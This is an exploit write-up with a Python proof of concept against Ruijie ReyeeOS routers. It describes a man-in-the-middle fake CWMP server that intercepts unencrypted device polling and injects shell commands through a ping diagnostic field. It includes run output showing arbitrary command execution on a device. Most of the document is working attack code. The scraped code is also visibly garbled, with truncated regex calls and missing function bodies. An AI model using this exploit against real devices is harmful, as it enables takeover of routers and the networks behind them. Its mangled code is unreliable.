# Exploit Title: ReyeeOS 1.204.1614 - MITM Remote Code Execution (RCE)  
# Google Dork: None  
# Date: July 31, 2023  
# Exploit Author: Riyan Firmansyah of Seclab  
# Vendor Homepage:  
# Software Link:  
# Version: ReyeeOS 1.204.1614; EW_3.0(1)B11P204, Release(10161400)  
# Tested on: Ruijie RG-EW1200, Ruijie RG-EW1200G PRO  
# CVE : None  
The Ruijie Reyee Cloud Web Controller allows the user to use a diagnostic tool which includes a ping check to ensure connection to the intended network, but the ip address input form is not validated properly and allows the user to perform OS command injection.  
In other side, Ruijie Reyee Cloud based Device will make polling request to Ruijie Reyee CWMP server to ask if there's any command from web controller need to be executed. After analyze the network capture that come from the device, the connection for pooling request to Ruijie Reyee CWMP server is unencrypted HTTP request.  
Because of unencrypted HTTP request that come from Ruijie Reyee Cloud based Device, attacker could make fake server using Man-in-The-Middle (MiTM) attack and send arbitrary commands to execute on the cloud based device that make CWMP request to fake server.  
Once the attacker have gained access, they can execute arbitrary commands on the system or application, potentially compromising sensitive data, installing malware, or taking control of the system.  
#!/usr/bin/env python3  
# -*- coding: utf-8 -*-  
from html import escape, unescape  
import http.server  
import socketserver  
import io  
import time  
import re  
import argparse  
import gzip  
# command payload  
command = "uname -a"  
# change this to serve on a different port  
PORT = 8080  
def cwmp_inform(soap):  
cwmp_id ="(?:<cwmp:ID.*?>)(.*?)(?:<\/cwmp:ID>)", soap).group(1)  
product_class ="(?:<ProductClass.*?>)(.*?)(?:<\/ProductClass>)", soap).group(1)  
serial_number ="(?:<SerialNumber.*?>)(.*?)(?:<\/SerialNumber>)", soap).group(1)  
result = {'cwmp_id': cwmp_id, 'product_class': product_class, 'serial_number': serial_number, 'parameters': {}}  
parameters = re.findall(r"(?:<P>)(.*?)(?:<\/P>)", soap)  
for parameter in parameters:  
parameter_name ="(?:<N>)(.*?)(?:<\/N>)", parameter).group(1)  
parameter_value ="(?:<V>)(.*?)(?:<\/V>)", parameter).group(1)  
result['parameters'][parameter_name] = parameter_value  
return result  
def cwmp_inform_response():  
return """<?xml version='1.0' encoding='UTF-8'?>  
<SOAP-ENV:Envelope xmlns:SOAP-ENV="" xmlns:SOAP-ENC="" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:xsd="" xmlns:xsi=""><SOAP-ENV:Header><cwmp:ID SOAP-ENV:mustUnderstand="1">16</cwmp:ID><cwmp:NoMoreRequests>1</cwmp:NoMoreRequests></SOAP-ENV:Header><SOAP-ENV:Body><cwmp:InformResponse><MaxEnvelopes>1</MaxEnvelopes></cwmp:InformResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>"""  
def command_payload(command):  
current_time = time.time()  
result = """<?xml version='1.0' encoding='UTF-8'?>  
<SOAP-ENV:Envelope xmlns:SOAP-ENV="" xmlns:SOAP-ENC="" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:xsd="" xmlns:xsi=""><SOAP-ENV:Header><cwmp:ID SOAP-ENV:mustUnderstand="1">{cur_time}</cwmp:ID><cwmp:NoMoreRequests>1</cwmp:NoMoreRequests></SOAP-ENV:Header><SOAP-ENV:Body><cwmp:X_RUIJIE_COM_CN_ExecuteCliCommand><Mode>config</Mode><CommandList SOAP-ENC:arrayType="xsd:string[1]"><Command>{command}</Command></CommandList></cwmp:X_RUIJIE_COM_CN_ExecuteCliCommand></SOAP-ENV:Body></SOAP-ENV:Envelope>""".format(cur_time=current_time, command=command)  
return result  
def command_response(soap):  
cwmp_id ="(?:<cwmp:ID.*?>)(.*?)(?:<\/cwmp:ID>)", soap).group(1)  
command ="(?:<Command>)(.*?)(?:<\/Command>)", soap).group(1)  
response ="(?:<Response>)((\n|.)*?)(?:<\/Response>)", soap).group(1)  
result = {'cwmp_id': cwmp_id, 'command': command, 'response': response}  
return result  
class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):  
protocol_version = 'HTTP/1.1'  
def do_GET(self):  
def do_POST(self):   
print("[*] Got hit by", self.client_address)  
f = io.BytesIO()  
if 'service' in self.path:  
stage, info = self.parse_stage()  
if stage == "cwmp_inform":  
print("[!] Got Device information", self.client_address)  
print("[*] Product Class:", info['product_class'])  
print("[*] Serial Number:", info['serial_number'])  
print("[*] MAC Address:", info['parameters']['mac'])  
print("[*] STUN Client IP:", info['parameters']['stunclientip'])  
payload = bytes(cwmp_inform_response(), 'utf-8')  
self.send_header("Content-Length", str(f.tell()))  
elif stage == "command_request":  
self.send_header("Set-Cookie", "JSESSIONID=6563DF85A6C6828915385C5CDCF4B5F5; Path=/service; HttpOnly")  
print("[*] Device interacting", self.client_address)  
payload = bytes(command_payload(escape("ping -c 4 && {}".format(command))), 'utf-8')  
self.send_header("Content-Length", str(f.tell()))  
print("[*] Command response", self.client_address)  
print("[x] Received invalid request", self.client_address)  
self.send_header("Connection", "keep-alive")  
self.send_header("Content-type", "text/xml;charset=utf-8")  
if f:  
self.copyfile(f, self.wfile)  
def parse_stage(self):  
content_length = int(self.headers['Content-Length'])  
post_data = gzip.decompress(  
if "cwmp:Inform" in post_data.decode("utf-8"):  
return ("cwmp_inform", cwmp_inform(post_data.decode("utf-8")))  
elif "cwmp:X_RUIJIE_COM_CN_ExecuteCliCommandResponse" in post_data.decode("utf-8"):  
return ("command_response", command_response(post_data.decode("utf-8")))  
return ("command_request", "Ping!")  
def log_message(self, format, *args):  
if __name__ == '__main__':  
parser = argparse.ArgumentParser()  
parser.add_argument('--bind', '-b', default='', metavar='ADDRESS',  
help='Specify alternate bind address '  
'[default: all interfaces]')  
parser.add_argument('port', action='store',  
default=PORT, type=int,  
help='Specify alternate port [default: {}]'.format(PORT))  
args = parser.parse_args()  
Handler = CustomHTTPRequestHandler  
with socketserver.TCPServer((args.bind, args.port), Handler) as httpd:  
ip_addr = args.bind if args.bind != '' else ''  
print("[!] serving fake CWMP server at {}:{}".format(ip_addr, args.port))  
except KeyboardInterrupt:  
ubuntu:~$ python3  
[!] serving fake CWMP server at  
[*] Got hit by ('[redacted]', [redacted])  
[!] Got Device information ('[redacted]', [redacted])  
[*] Product Class: EW1200G-PRO  
[*] Serial Number: [redacted]  
[*] MAC Address: [redacted]  
[*] STUN Client IP: [redacted]:[redacted]  
[*] Got hit by ('[redacted]', [redacted])  
[*] Device interacting ('[redacted]', [redacted])  
[*] Got hit by ('[redacted]', [redacted])  
[*] Command response ('[redacted]', [redacted])  
PING ( 56 data bytes  
64 bytes from seq=0 ttl=64 time=0.400 ms  
64 bytes from seq=1 ttl=64 time=0.320 ms  
64 bytes from seq=2 ttl=64 time=0.320 ms  
64 bytes from seq=3 ttl=64 time=0.300 ms  
--- ping statistics ---  
4 packets transmitted, 4 packets received, 0% packet loss  
round-trip min/avg/max = 0.300/0.335/0.400 ms  
Linux Ruijie 3.10.108 #1 SMP Fri Apr 14 00:39:29 UTC 2023 mips GNU/Linux